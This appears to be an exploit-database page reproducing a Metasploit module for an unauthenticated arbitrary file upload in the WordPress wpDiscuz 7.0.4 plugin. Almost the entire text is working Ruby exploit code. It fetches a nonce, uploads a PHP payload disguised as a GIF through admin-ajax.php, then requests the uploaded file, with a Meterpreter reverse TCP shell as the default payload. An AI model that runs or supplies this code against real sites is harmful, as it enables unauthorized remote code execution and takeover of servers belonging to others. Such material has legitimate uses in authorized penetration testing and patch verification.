wordpress plugin wpdiscuz 7.0.4 unauthenticated arbitrary file upload (metasploit)

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wordpress plugin wpdiscuz 7.0.4 unauthenticated arbitrary file upload (metasploit) Code Code...
				
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress wpDiscuz Unauthen File Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable site’s server. }, 'Author' => [ 'Chloe Chamberland', # Vulnerability Discovery, initial msf module 'Hoa Nguyen - SunCSR' # Metasploit Module Pull Request ], 'License' => MSF_LICENSE, 'References' => [ ['WPVDB', '10333'], ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'], ['URL','https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'], ['URL','https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['wpDiscuz < 7.0.5', {}]], 'DisclosureDate' => 'Feb 21 2020', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptString.new('BLOGPATH',[true,'Link to the post [/index.php/2020/12/12/post1]', nil]), ] end def check check_plugin_version_from_readme('wpdiscuz','7.0.5') end def blogpath datastore['BLOGPATH'] end def find_wmusecurity_id res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath)},5) wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/).captures return wmusecurity_id end def exploit wmusecurity_id = find_wmusecurity_id[0] php_page_name = rand_text_alpha(5 + rand(5)) + '.php' data = Rex::MIME::Message.new data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"') data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"') data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"') data.add_part('1', nil, nil, 'form-data; name="postId"') data.add_part('GIF8' + payload.encoded, 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"") post_data = data.to_s res = send_request_cgi( 'uri' => normalize_uri(target_uri.path ,'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data ) time = Time.new year = time.year.to_s month = "%02d" % time.month regex = res.body.match(/https?:\\\/\\\/[\w\\\/\-\.:]+\.php/) wp_shell_upload = /\/\w+-\d+\.\d+\.php/.match(regex.to_s).to_s.tr('/',"") if res if res.code == 200 && res.body =~ /#{php_page_name}/ print_good("Payload uploaded as #{php_page_name}") register_files_for_cleanup(php_page_name) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, "#{peer} - Server did not answer") end print_status("Calling payload...") send_request_cgi( { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}","#{month}",wp_shell_upload)}, 5 ) end end


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